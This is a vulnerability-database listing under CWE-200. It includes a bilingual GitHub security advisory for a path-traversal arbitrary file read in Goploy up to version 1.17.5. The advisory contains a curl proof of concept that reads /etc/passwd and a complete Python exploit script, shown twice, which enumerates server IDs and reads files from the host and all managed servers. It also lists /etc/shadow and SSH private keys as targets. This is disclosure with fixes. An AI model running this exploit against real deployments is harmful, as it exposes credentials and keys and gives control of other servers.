CWE-200
DiscouragedExposure of Sensitive Information to an Unauthorized Actor
Abstraction: Class · Status: Draft
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
14205 vulnerabilities reference this CWE, most recent first.
GHSA-4G5Q-M89G-8CVP
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2025-05-20 18:30An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory, aka 'Windows GDI Information Disclosure Vulnerability'. This CVE ID is unique from CVE-2019-0968, CVE-2019-0977, CVE-2019-1009, CVE-2019-1010, CVE-2019-1011, CVE-2019-1012, CVE-2019-1015, CVE-2019-1016, CVE-2019-1046, CVE-2019-1047, CVE-2019-1048, CVE-2019-1049, CVE-2019-1050.
{
"affected": [],
"aliases": [
"CVE-2019-1013"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-12T14:29:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory, aka \u0027Windows GDI Information Disclosure Vulnerability\u0027. This CVE ID is unique from CVE-2019-0968, CVE-2019-0977, CVE-2019-1009, CVE-2019-1010, CVE-2019-1011, CVE-2019-1012, CVE-2019-1015, CVE-2019-1016, CVE-2019-1046, CVE-2019-1047, CVE-2019-1048, CVE-2019-1049, CVE-2019-1050.",
"id": "GHSA-4g5q-m89g-8cvp",
"modified": "2025-05-20T18:30:39Z",
"published": "2022-05-24T16:47:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1013"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1013"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-19-573"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-19-580"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G5X-HCWM-82JW
Vulnerability from github – Published: 2026-07-07 23:42 – Updated: 2026-07-07 23:42Click here to jump to the Simplified Chinese version (点击跳转到简体中文版本)
Goploy System Arbitrary File Read Vulnerability
Basic Information
- Vulnerability Name: Goploy Endpoints Arbitrary File Read via Path Traversal
- Vulnerability Type: Path Traversal (CWE-22) / Arbitrary File Read
- Affected Product: Goploy
- Severity Level: High (CVSS V3 7.7)
- Known Affected Versions: <=1.17.5
Vulnerability Description
Goploy is an open-source automation deployment system. A severe path traversal vulnerability exists in its backend API endpoints, specifically /deploy/fileDiff (File Compare), when handling file paths provided by the client.
The original logic of this endpoint is to read a local project file and compare it with a file on a remote target server. However, due to insufficient validation and sanitization of the filePath parameter, and the lack of security constraints on the final absolute file path, malicious paths containing ../ are directly executed within the system.
This leads to a dual arbitrary file read issue:
1. Local Host File Read: os.ReadFile is tricked by the directory traversal payload to read any file via its absolute path on the Goploy local host (returned in the srcText field of the response body).
2. Remote Controlled Server File Read: Subsequently, the same payload is utilized via the SFTP protocol on the target server pointed to by the serverID. Influenced similarly by the directory traversal, it reads any file on the configured remote server (returned in the distText field of the response body).
The threshold for exploiting this vulnerability is extremely low, and the conditions are very easily met. The system comes with a built-in member role upon default installation, which is granted the "File Compare" permission by default. This means that as long as a normal low-privileged user is added to the system, they inherently possess the basic privileges required to call the vulnerable endpoint. The only prerequisite for the attack is that at least one project and one associated server are configured in the system.
An attacker only needs to specify the correct namespace header (e.g., G-N-ID: 1) via a packet capture tool to bypass simple restrictions. By enumerating available serverId parameters, the attacker can successfully execute path traversal via this endpoint, reading arbitrary files on both the local Goploy host and all remote target servers managed by Goploy.
Steps to Reproduce (Proof of Concept)
Theoretical Steps (See concrete steps below)
-
Obtain Normal User Privileges Log in to the system using any registered low-privileged account to obtain valid authentication credentials (Cookie/Token) and its corresponding authorized Namespace ID.
-
Construct Malicious Request Send a POST request containing the directory traversal characters
../to the target endpoint/deploy/fileDiff, while including theG-N-IDheader.
PoC Example (Reading /etc/passwd and enumerating serverId):
bash
curl -s -X POST -b "goploy_token=<valid_cookie>" \
-H "Content-Type: application/json" \
-H "G-N-ID: 1" \
-d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \
"http://<target-host>/deploy/fileDiff"
3. Reproduction Result
The server will return the complete contents of the /etc/passwd file from both the host and the remote server.
Concrete Steps
-
Environment Setup Published an arbitrary project using the super admin account:
Configured two managed remote servers:
Created a normal user and assigned the
memberrole (which includes File Compare permission): -
Obtain Normal User Privileges Log in to the system using the registered
testaccount to obtain valid authentication credentials (Cookie/Token). -
Execute poc.py (See below)
-
Parameter Explanation:
-u: Target URL-t: Target Cookie/Token to use-f: File to read-s: ID of the managed server to read from -
Reading from the first managed server (Server ID: 1):
bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1
- Reading from the second managed server (Server ID: 2):
bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2
-
-
Reproduction Result The server successfully returns the full contents of the
/etc/passwdfile from both the Goploy host and the designated remote servers.
Impact
Through this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example:
- Read /etc/passwd or /etc/shadow on the local or remote target servers to obtain host system user information.
- Read users' SSH private keys (e.g., ~/.ssh/id_rsa) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE).
- By enumerating the serverID, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems.
- Obtain various critical configuration files, database credentials, etc., of the affected systems.
Remediation Suggestions
- Input Parameter Filtering: Strictly filter special characters such as
../,..\, and%00that can cause directory traversal and truncation when receiving and processing file paths provided by clients. - Path Whitelist Constraints: Use built-in functions like
filepath.Cleanto format the path. Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace). - Principle of Least Privilege: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read.
- Comprehensive API Audit: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities. If users obtain the corresponding permissions, it can lead to arbitrary file reads or even writes.
poc.py
#!/usr/bin/env python3
import requests
import argparse
import sys
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print(r"""
____ _ ____ ____
/ ___| ___ _ __ | | ___ _ _ | _ \ ___ / ___|
| | _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ |
| |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___
\____|\___/| .__/|_|\___/ \__, | |_| \___/ \____|
|_| |___/
Goploy Authenticated Arbitrary File Read PoC
""")
def exploit(target_url, token, file_read, args):
if not target_url.startswith("http"):
target_url = "http://" + target_url
target_url = target_url.rstrip('/')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
cookies = {
"goploy_token": token
}
print("[*] 正在尝试自动从服务器响应中提取利用所需的所有参数ID...")
# 1. 动态获取可用的 Namespace ID
namespace_id = 1
print(f"[*] 1. 尝试获取可用的 Namespace ID (/namespace/getOption)")
try:
r_ns = requests.get(f"{target_url}/namespace/getOption", headers=headers, cookies=cookies, verify=False, timeout=10)
ns_data = r_ns.json()
if ns_data.get("code") == 0 and len(ns_data.get("data", {}).get("list", [])) > 0:
namespace_id = ns_data["data"]["list"][0]["namespaceId"]
print(f"[+] 成功提取到 Namespace ID: {namespace_id}")
else:
print(f"[-] 提取 Namespace ID 失败或列表为空，将降级使用默认值 1")
except Exception as e:
print(f"[-] 提取 Namespace ID 发生异常: {e}")
# 将获取到的 Namespace ID 放入后续请求的 Header 中
headers["G-N-ID"] = str(namespace_id)
# 2. 动态获取可用的 Server ID
server_id = 1
if args.server_id is not None:
server_id = int(args.server_id)
print(f"[*] 2. 用户指定了 Server ID: {server_id} ,跳过自动探测。可用于水平提权目标网络！")
else:
print(f"[*] 2. 尝试获取可用的 Server ID (/server/getOption)")
try:
r_srv = requests.get(f"{target_url}/server/getOption", headers=headers, cookies=cookies, verify=False, timeout=10)
srv_data = r_srv.json()
if srv_data.get("code") == 0 and len(srv_data.get("data", {}).get("list", [])) > 0:
server_id = srv_data["data"]["list"][0]["id"]
print(f"[+] 成功提取到可用 Server ID: {server_id}")
else:
print(f"[-] 提取 Server ID 失败或列表为空，将降级尝试猜测值 1")
except Exception as e:
print(f"[-] 提取 Server ID 发生异常: {e}")
# 3. 动态获取可用的 Project ID
project_id = 1
print(f"[*] 3. 尝试获取可用的 Project ID (/deploy/getList)")
try:
r_proj = requests.get(f"{target_url}/deploy/getList", headers=headers, cookies=cookies, verify=False, timeout=10)
proj_data = r_proj.json()
if proj_data.get("code") == 0 and len(proj_data.get("data", {}).get("list", [])) > 0:
project_id = proj_data["data"]["list"][0]["id"]
print(f"[+] 成功提取到 Project ID: {project_id}")
else:
print(f"[-] 提取 Project ID 失败或列表为空，将降级尝试猜测值 1")
except Exception as e:
print(f"[-] 提取 Project ID 发生异常: {e}")
# ==========================
# 4. 执行漏洞利用
# ==========================
headers["Content-Type"] = "application/json"
# 构造目录穿越 payload
traversal_payload = "../" * 15 + file_read.lstrip('/')
data = {
"projectId": project_id,
"serverId": server_id,
"filePath": traversal_payload
}
url_exploit = f"{target_url}/deploy/fileDiff"
print(f"\n[*] 目标地址: {url_exploit}")
print(f"[*] Payload中包含的系统参数: NamespaceID={namespace_id}, ProjectID={project_id}, ServerID={server_id}")
print(f"[*] 尝试读取文件: {file_read}")
print(f"[*] 发送最终利用请求中...\n")
try:
response = requests.post(url_exploit, headers=headers, cookies=cookies, json=data, verify=False, timeout=10)
if response.status_code == 200:
try:
# 尝试解析 Goploy 的 JSON 回显格式
json_data = response.json()
if json_data.get('code') in [0, 1, 2]: # 有时候读取回显为完整的 json
data_obj = json_data.get('data') if isinstance(json_data.get('data'), dict) else {}
src_text = data_obj.get('srcText', '')
dist_text = data_obj.get('distText', '')
if src_text or dist_text:
print("[+] 漏洞利用成功！产生双重文件读取响应：\n")
print("=" * 50)
print(f"【Goploy宿主机 ({url_exploit} 本地) 的文件内容记录在 srcText】:")
print("-" * 50)
print(src_text if src_text else "(空)")
print("=" * 50)
print(f"【被控目标端服务器 (ServerID: {server_id}) 的文件内容记录在 distText】:")
print("-" * 50)
print(dist_text if dist_text else "(空)")
print("=" * 50)
else:
print("[-] 读取操作执行但未返回具体的 srcText 或 distText 数据。正在显示原始 API 返回：")
print(json.dumps(json_data, indent=2))
else:
print(f"[-] 服务器返回业务错误 (Code={json_data.get('code')}): {json_data.get('message')}")
except ValueError:
# 如果不是 JSON 格式，直接输出响应源码
print("[+] 收到未知格式响应，以下为原始正文内容：")
print(response.text)
else:
print(f"[-] HTTP 请求失败，HTTP 状态码: {response.status_code}")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[-] 连接出错: {e}")
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser(description="Goploy 任意文件读取概念验证脚本 (PoC)")
parser.add_argument("-u", "--url", required=True, help="目标系统基础 URL，例如：http://192.168.240.130")
parser.add_argument("-t", "--token", required=True, help="具有低权限成员账户的 goploy_token (Cookie)")
parser.add_argument("-f", "--file", default="/etc/passwd", help="想要读取的目标绝对路径文件 (默认: /etc/passwd)")
parser.add_argument("-s", "--server_id", default=None, help="强制指定想要读取的远程绑定服务器ServerID(如忽略则尝试自动获取首个)")
args = parser.parse_args()
exploit(args.url, args.token, args.file, args)
Goploy 系统任意文件读取
漏洞基本信息
- 漏洞名称：Goploy 系统端点任意文件读取漏洞
- 漏洞类型：路径遍历（Path Traversal, CWE-22） / 任意文件读取
- 影响产品：Goploy
- 漏洞危害级别：高危（CVSS V3 7.7）
- 已知影响版本：<=1.17.5
漏洞描述
Goploy 是一个开源的自动化部署系统。在其后端服务的 /deploy/fileDiff（文件对比）等 API 接口处处理客户端传来的文件路径时，存在严重的路径遍历漏洞。
该接口的原始逻辑是读取本地项目文件与远程目标服务器文件进行比对。但由于未能充分校验及过滤用户传入的 filePath 参数，也没有对最终的文件绝对路径进行安全约束，将含有 ../ 的恶意路径直接带入系统中执行。
这导致了一个双重任意文件读取的问题：
1. 本地宿主机文件读取：os.ReadFile 会被目录穿越 payload 欺骗，读取出 Goploy 宿主机的本地绝对路径任意文件（返回在响应体的 srcText 字段）。
2. 远程任意受控服务器文件读取：紧接着该 payload 经由 SFTP 协议作用于 serverID 所指向的目标服务器，同样由于受到目录穿越影响，最终读取所配置远程服务器上的任意文件（返回在响应体的 distText 字段）。
该漏洞利用门槛极低且条件极易满足。 系统在默认安装时预设了 member（普通成员）角色，且默认赋予了该角色“文件比对 (FileCompare)”权限。这意味着系统只要添加了一个普通的低权限使用者，其天然就具备调用目标漏洞端点的基础权限。攻击前提仅仅是系统中配置了至少一个项目和一个服务器。
攻击者仅需通过抓包指定正确的命名空间 Header（例如 G-N-ID: 1）绕过其简单的限制拦截，且遍历可用的 serverId 参数，即可直接利用该端点成功执行路径遍历，读取 Goploy 本地宿主机以及各个远端被 Goploy 管理的目标服务器上的任意文件。
漏洞复现步骤 (Proof of Concept)
理论步骤（具体步骤见下）
-
获取普通用户权限 使用任意已注册的低权限账户登录系统，获取有效的身份认证凭证（Cookie/Token）。获取其对应有权限的 Namespace ID。
-
构造恶意请求 向目标接口
/deploy/fileDiff发送包含目录穿越字符../的 POST 请求，并携带G-N-ID。
PoC 示例（读取 /etc/passwd,可以遍历serverId）：
bash
curl -s -X POST -b "goploy_token=<用户的有效cookie>" \
-H "Content-Type: application/json" \
-H "G-N-ID: 1" \
-d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \
"http://<target-host>/deploy/fileDiff"
2. 复现结果
服务器将返回宿主机和远端服务器 /etc/passwd 文件的完整内容。
具体步骤
-
环境 使用超管账号任意发布了一个项目：
设置了两个纳管服务器：
创建了一个普通用户，并赋予menmber角色（文件对比权限）：
-
获取普通用户权限 使用已注册的
test账户登录系统，获取有效的身份认证凭证（Cookie/Token）。 -
运行poc.py（见文末）
- 参数解释： -u : 目标URL -t : 欲使用的Cookie/Token -f : 欲读取的文件 -s : 欲读取的纳管服务器的ID
- 读取第一个纳管服务器：
bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1
- 读取第二个纳管服务器：
bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2
-
复现结果 服务器返回宿主机和任意远端服务器
/etc/passwd文件的完整内容。
漏洞危害
通过该漏洞，攻击者可越权读取宿主机以及所有纳管服务器目标中的任何敏感文件。例如：
- 读取本地或目标远端服务器的 /etc/passwd 或 /etc/shadow 获取主机系统用户信息。
- 读取各个系统中用户的 SSH 私钥（如 ~/.ssh/id_rsa），从而利用私钥无需密码直接通过 SSH 远程连接宿主机或跨网段连接其他服务器，窃取服务器控制权，达到远程命令执行（RCE）的同等危害。
- 结合对 serverID 的枚举，攻击者可以将 Goploy 作为跳板机，针对所有绑定的下发目标系统进行大范围的信息窃取。
- 获取系统的各类关键配置文件、数据库凭证等。
修复建议
- 输入参数过滤：在接收并处理客户端传递的文件路径时，严格过滤
../、..\\以及%00等可能引起目录跨越与截断的特殊字符。 - 路径白名单约束：利用
filepath.Clean等内置函数格式化路径，并且在执行系统文件读写操作前，强制校验解析后的绝对路径前缀是否处于应用所允许的合法受限目录范围（如预设的沙盒目录或项目工作区内）内。 - 权限最小化：运行 Goploy 服务的环境或镜像应尽可能以低权限用户身份运行，以此减弱被读取敏感文件的风险。
- 检查其他API：除以上API，还有多处API存在路径遍历漏洞，如果用户获得相应的权限，同样会导致任意文件读甚至写。
poc.py
#!/usr/bin/env python3
import requests
import argparse
import sys
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print(r"""
____ _ ____ ____
/ ___| ___ _ __ | | ___ _ _ | _ \ ___ / ___|
| | _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ |
| |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___
\____|\___/| .__/|_|\___/ \__, | |_| \___/ \____|
|_| |___/
Goploy Authenticated Arbitrary File Read PoC
""")
def exploit(target_url, token, file_read, args):
if not target_url.startswith("http"):
target_url = "http://" + target_url
target_url = target_url.rstrip('/')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
cookies = {
"goploy_token": token
}
print("[*] 正在尝试自动从服务器响应中提取利用所需的所有参数ID...")
# 1. 动态获取可用的 Namespace ID
namespace_id = 1
print(f"[*] 1. 尝试获取可用的 Namespace ID (/namespace/getOption)")
try:
r_ns = requests.get(f"{target_url}/namespace/getOption", headers=headers, cookies=cookies, verify=False, timeout=10)
ns_data = r_ns.json()
if ns_data.get("code") == 0 and len(ns_data.get("data", {}).get("list", [])) > 0:
namespace_id = ns_data["data"]["list"][0]["namespaceId"]
print(f"[+] 成功提取到 Namespace ID: {namespace_id}")
else:
print(f"[-] 提取 Namespace ID 失败或列表为空，将降级使用默认值 1")
except Exception as e:
print(f"[-] 提取 Namespace ID 发生异常: {e}")
# 将获取到的 Namespace ID 放入后续请求的 Header 中
headers["G-N-ID"] = str(namespace_id)
# 2. 动态获取可用的 Server ID
server_id = 1
if args.server_id is not None:
server_id = int(args.server_id)
print(f"[*] 2. 用户指定了 Server ID: {server_id} ,跳过自动探测。可用于水平提权目标网络！")
else:
print(f"[*] 2. 尝试获取可用的 Server ID (/server/getOption)")
try:
r_srv = requests.get(f"{target_url}/server/getOption", headers=headers, cookies=cookies, verify=False, timeout=10)
srv_data = r_srv.json()
if srv_data.get("code") == 0 and len(srv_data.get("data", {}).get("list", [])) > 0:
server_id = srv_data["data"]["list"][0]["id"]
print(f"[+] 成功提取到可用 Server ID: {server_id}")
else:
print(f"[-] 提取 Server ID 失败或列表为空，将降级尝试猜测值 1")
except Exception as e:
print(f"[-] 提取 Server ID 发生异常: {e}")
# 3. 动态获取可用的 Project ID
project_id = 1
print(f"[*] 3. 尝试获取可用的 Project ID (/deploy/getList)")
try:
r_proj = requests.get(f"{target_url}/deploy/getList", headers=headers, cookies=cookies, verify=False, timeout=10)
proj_data = r_proj.json()
if proj_data.get("code") == 0 and len(proj_data.get("data", {}).get("list", [])) > 0:
project_id = proj_data["data"]["list"][0]["id"]
print(f"[+] 成功提取到 Project ID: {project_id}")
else:
print(f"[-] 提取 Project ID 失败或列表为空，将降级尝试猜测值 1")
except Exception as e:
print(f"[-] 提取 Project ID 发生异常: {e}")
# ==========================
# 4. 执行漏洞利用
# ==========================
headers["Content-Type"] = "application/json"
# 构造目录穿越 payload
traversal_payload = "../" * 15 + file_read.lstrip('/')
data = {
"projectId": project_id,
"serverId": server_id,
"filePath": traversal_payload
}
url_exploit = f"{target_url}/deploy/fileDiff"
print(f"\n[*] 目标地址: {url_exploit}")
print(f"[*] Payload中包含的系统参数: NamespaceID={namespace_id}, ProjectID={project_id}, ServerID={server_id}")
print(f"[*] 尝试读取文件: {file_read}")
print(f"[*] 发送最终利用请求中...\n")
try:
response = requests.post(url_exploit, headers=headers, cookies=cookies, json=data, verify=False, timeout=10)
if response.status_code == 200:
try:
# 尝试解析 Goploy 的 JSON 回显格式
json_data = response.json()
if json_data.get('code') in [0, 1, 2]: # 有时候读取回显为完整的 json
data_obj = json_data.get('data') if isinstance(json_data.get('data'), dict) else {}
src_text = data_obj.get('srcText', '')
dist_text = data_obj.get('distText', '')
if src_text or dist_text:
print("[+] 漏洞利用成功！产生双重文件读取响应：\n")
print("=" * 50)
print(f"【Goploy宿主机 ({url_exploit} 本地) 的文件内容记录在 srcText】:")
print("-" * 50)
print(src_text if src_text else "(空)")
print("=" * 50)
print(f"【被控目标端服务器 (ServerID: {server_id}) 的文件内容记录在 distText】:")
print("-" * 50)
print(dist_text if dist_text else "(空)")
print("=" * 50)
else:
print("[-] 读取操作执行但未返回具体的 srcText 或 distText 数据。正在显示原始 API 返回：")
print(json.dumps(json_data, indent=2))
else:
print(f"[-] 服务器返回业务错误 (Code={json_data.get('code')}): {json_data.get('message')}")
except ValueError:
# 如果不是 JSON 格式，直接输出响应源码
print("[+] 收到未知格式响应，以下为原始正文内容：")
print(response.text)
else:
print(f"[-] HTTP 请求失败，HTTP 状态码: {response.status_code}")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[-] 连接出错: {e}")
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser(description="Goploy 任意文件读取概念验证脚本 (PoC)")
parser.add_argument("-u", "--url", required=True, help="目标系统基础 URL，例如：http://192.168.240.130")
parser.add_argument("-t", "--token", required=True, help="具有低权限成员账户的 goploy_token (Cookie)")
parser.add_argument("-f", "--file", default="/etc/passwd", help="想要读取的目标绝对路径文件 (默认: /etc/passwd)")
parser.add_argument("-s", "--server_id", default=None, help="强制指定想要读取的远程绑定服务器ServerID(如忽略则尝试自动获取首个)")
args = parser.parse_args()
exploit(args.url, args.token, args.file, args)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zhenorzz/goploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.17.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53553"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T23:42:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "\u003e [ Click here to jump to the Simplified Chinese version (\u70b9\u51fb\u8df3\u8f6c\u5230\u7b80\u4f53\u4e2d\u6587\u7248\u672c)](#goploy-\u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6)\n# Goploy System Arbitrary File Read Vulnerability\n\n## Basic Information\n- **Vulnerability Name**: Goploy Endpoints Arbitrary File Read via Path Traversal\n- **Vulnerability Type**: Path Traversal (CWE-22) / Arbitrary File Read\n- **Affected Product**: Goploy\n- **Severity Level**: High (CVSS V3 7.7)\n- **Known Affected Versions**: \u003c=1.17.5 \n\n## Vulnerability Description\nGoploy is an open-source automation deployment system. A severe path traversal vulnerability exists in its backend API endpoints, specifically `/deploy/fileDiff` (File Compare), when handling file paths provided by the client.\n\nThe original logic of this endpoint is to read a local project file and compare it with a file on a remote target server. However, due to insufficient validation and sanitization of the `filePath` parameter, and the lack of security constraints on the final absolute file path, malicious paths containing `../` are directly executed within the system.\n\nThis leads to a **dual arbitrary file read** issue:\n1. **Local Host File Read**: `os.ReadFile` is tricked by the directory traversal payload to read any file via its absolute path on the Goploy local host (returned in the `srcText` field of the response body).\n2. **Remote Controlled Server File Read**: Subsequently, the same payload is utilized via the SFTP protocol on the target server pointed to by the `serverID`. Influenced similarly by the directory traversal, it reads any file on the configured remote server (returned in the `distText` field of the response body).\n\n**The threshold for exploiting this vulnerability is extremely low, and the conditions are very easily met.** The system comes with a built-in `member` role upon default installation, which is **granted the \"File Compare\" permission by default**. This means that as long as a normal low-privileged user is added to the system, they inherently possess the basic privileges required to call the vulnerable endpoint. The only prerequisite for the attack is that at least one project and one associated server are configured in the system.\n\nAn attacker only needs to specify the correct namespace header (e.g., `G-N-ID: 1`) via a packet capture tool to bypass simple restrictions. By enumerating available `serverId` parameters, the attacker can successfully execute path traversal via this endpoint, reading arbitrary files on both the local Goploy host and **all remote target servers managed by Goploy**.\n\n## Steps to Reproduce (Proof of Concept)\n\n### Theoretical Steps (See concrete steps below)\n1. **Obtain Normal User Privileges**\n Log in to the system using any registered low-privileged account to obtain valid authentication credentials (Cookie/Token) and its corresponding authorized Namespace ID.\n\n2. **Construct Malicious Request**\n Send a POST request containing the directory traversal characters `../` to the target endpoint `/deploy/fileDiff`, while including the `G-N-ID` header.\n\n **PoC Example (Reading `/etc/passwd` and enumerating `serverId`):**\n ```bash\n curl -s -X POST -b \"goploy_token=\u003cvalid_cookie\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -H \"G-N-ID: 1\" \\\n -d \u0027{\"projectId\":1,\"serverId\":1,\"filePath\":\"../../../../../../../../../../etc/passwd\"}\u0027 \\\n \"http://\u003ctarget-host\u003e/deploy/fileDiff\"\n ```\n3. **Reproduction Result**\n The server will return the complete contents of the `/etc/passwd` file from both the host and the remote server.\n\n### Concrete Steps\n1. **Environment Setup**\n Published an arbitrary project using the super admin account:\n \n \n \u003cimg width=\"1919\" height=\"428\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8618a038-9088-45b4-804a-5541e243c6a8\" /\u003e\n\n\n Configured two managed remote servers:\n \n \u003cimg width=\"1896\" height=\"399\" alt=\"image-1(1)\" src=\"https://github.com/user-attachments/assets/89cfa086-d20b-448e-9cf7-1af5798e3cfe\" /\u003e\n\n Created a normal user and assigned the `member` role (which includes File Compare permission):\n \n \u003cimg width=\"1910\" height=\"343\" alt=\"image-2\" src=\"https://github.com/user-attachments/assets/b8dda364-c23d-4496-a555-ff477c511d31\" /\u003e\n\n \n \u003cimg width=\"951\" height=\"364\" alt=\"image-3\" src=\"https://github.com/user-attachments/assets/0e20cbed-7341-484c-b0a7-0fcd6ca2fea6\" /\u003e\n\n\n2. **Obtain Normal User Privileges**\n Log in to the system using the registered `test` account to obtain valid authentication credentials (Cookie/Token).\n \n \n \u003cimg width=\"1916\" height=\"712\" alt=\"image-4(1)\" src=\"https://github.com/user-attachments/assets/a269b79f-a666-4f3a-95c4-40621e1fbbc2\" /\u003e\n\n\n3. **Execute poc.py (See below)**\n * **Parameter Explanation:**\n `-u` : Target URL\n `-t` : Target Cookie/Token to use\n `-f` : File to read\n `-s` : ID of the managed server to read from\n\n * **Reading from the first managed server (Server ID: 1):**\n ```bash\n python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1\n ```\n \n \u003cimg width=\"1173\" height=\"608\" alt=\"image-6(1)\" src=\"https://github.com/user-attachments/assets/e442c247-3ebf-449f-94df-2b2b533b9449\" /\u003e\n\n \u003cimg width=\"870\" height=\"190\" alt=\"image-5\" src=\"https://github.com/user-attachments/assets/9e53b13a-915c-4f5e-b1bc-f0b3c0b64656\" /\u003e\n\n\n * **Reading from the second managed server (Server ID: 2):**\n ```bash\n python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2\n ```\n \n \u003cimg width=\"1173\" height=\"231\" alt=\"image-8(1)\" src=\"https://github.com/user-attachments/assets/54e77e8a-259d-4f74-bf31-1a9625bcbe52\" /\u003e\n\n\n4. **Reproduction Result**\n The server successfully returns the full contents of the `/etc/passwd` file from both the Goploy host and the designated remote servers.\n\n## Impact\nThrough this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example:\n- Read `/etc/passwd` or `/etc/shadow` on the local or remote target servers to obtain host system user information.\n- Read users\u0027 SSH private keys (e.g., `~/.ssh/id_rsa`) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE).\n- By enumerating the `serverID`, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems.\n- Obtain various critical configuration files, database credentials, etc., of the affected systems.\n\n## Remediation Suggestions\n1. **Input Parameter Filtering**: Strictly filter special characters such as `../`, `..\\`, and `%00` that can cause directory traversal and truncation when receiving and processing file paths provided by clients.\n2. **Path Whitelist Constraints**: Use built-in functions like `filepath.Clean` to format the path. Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace).\n3. **Principle of Least Privilege**: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read.\n4. **Comprehensive API Audit**: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities. If users obtain the corresponding permissions, it can lead to arbitrary file reads **or even writes**.\n\n## poc.py\n```python\n#!/usr/bin/env python3\nimport requests\nimport argparse\nimport sys\nimport urllib3\nimport json\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\n print(r\"\"\"\n ____ _ ____ ____ \n / ___| ___ _ __ | | ___ _ _ | _ \\ ___ / ___|\n| | _ / _ \\| \u0027_ \\| |/ _ \\| | | | | |_) / _ \\ | \n| |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___ \n \\____|\\___/| .__/|_|\\___/ \\__, | |_| \\___/ \\____|\n |_| |___/ \n\n Goploy Authenticated Arbitrary File Read PoC\n \"\"\")\n\ndef exploit(target_url, token, file_read, args):\n if not target_url.startswith(\"http\"):\n target_url = \"http://\" + target_url\n \n target_url = target_url.rstrip(\u0027/\u0027)\n \n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"\n }\n \n cookies = {\n \"goploy_token\": token\n }\n \n print(\"[*] \u6b63\u5728\u5c1d\u8bd5\u81ea\u52a8\u4ece\u670d\u52a1\u5668\u54cd\u5e94\u4e2d\u63d0\u53d6\u5229\u7528\u6240\u9700\u7684\u6240\u6709\u53c2\u6570ID...\")\n \n # 1. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Namespace ID\n namespace_id = 1\n print(f\"[*] 1. 